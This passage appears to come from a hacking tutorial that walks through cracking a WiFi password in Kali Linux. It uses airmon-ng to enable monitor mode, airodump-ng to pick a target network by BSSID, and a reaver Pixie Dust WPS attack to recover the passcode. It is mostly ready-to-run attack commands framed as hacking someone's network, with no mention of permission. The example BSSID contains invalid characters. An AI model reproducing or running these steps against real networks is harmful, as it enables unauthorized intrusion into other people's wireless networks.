 So let’s Start Cracking.

Step 1: Firstly open the Terminal in Kali Linux, then you need to find out the name of your wireless adapter.

To find out your the name of your wireless adapter Just type "ifconfig" on the terminal and hit enter. Here in our case, wlan0 is our Wireless adapter.

 

Step 2: Now type "airmon-ng check kill" and hit enter and then type "airmon-ng check" and hit enter.

 

Step 3: Enable Monitor mode. Now, we are going to use a tool called "airmon-ng" to create a virtual interface called mon. Just type "airmon-ng start wlan0" and hit enter.

Step 4: Now we have to start capturing packets and to do this, type "airodump-ng wlan0mon" and hit enter and after that, You will be able to see the list of available WiFi networks.

 

Step 5: In order to hack a WiFi network, Select the BSSID of the network and then Press Ctrl+C.

for e.g. : If I want to hack the Wifi Bond_007 all I have to do is just copy the BSSID of the network.

 

Step 6: Now write the command reaver –i wlan0mon -b (BSSID that you had copied) -vv -K 1 and then Hit enter. And that's it ,you got the password/passcode.

e.g: reaver -i wlan0mon -b B0:5G:54:96:G7:70 -vv -K 1
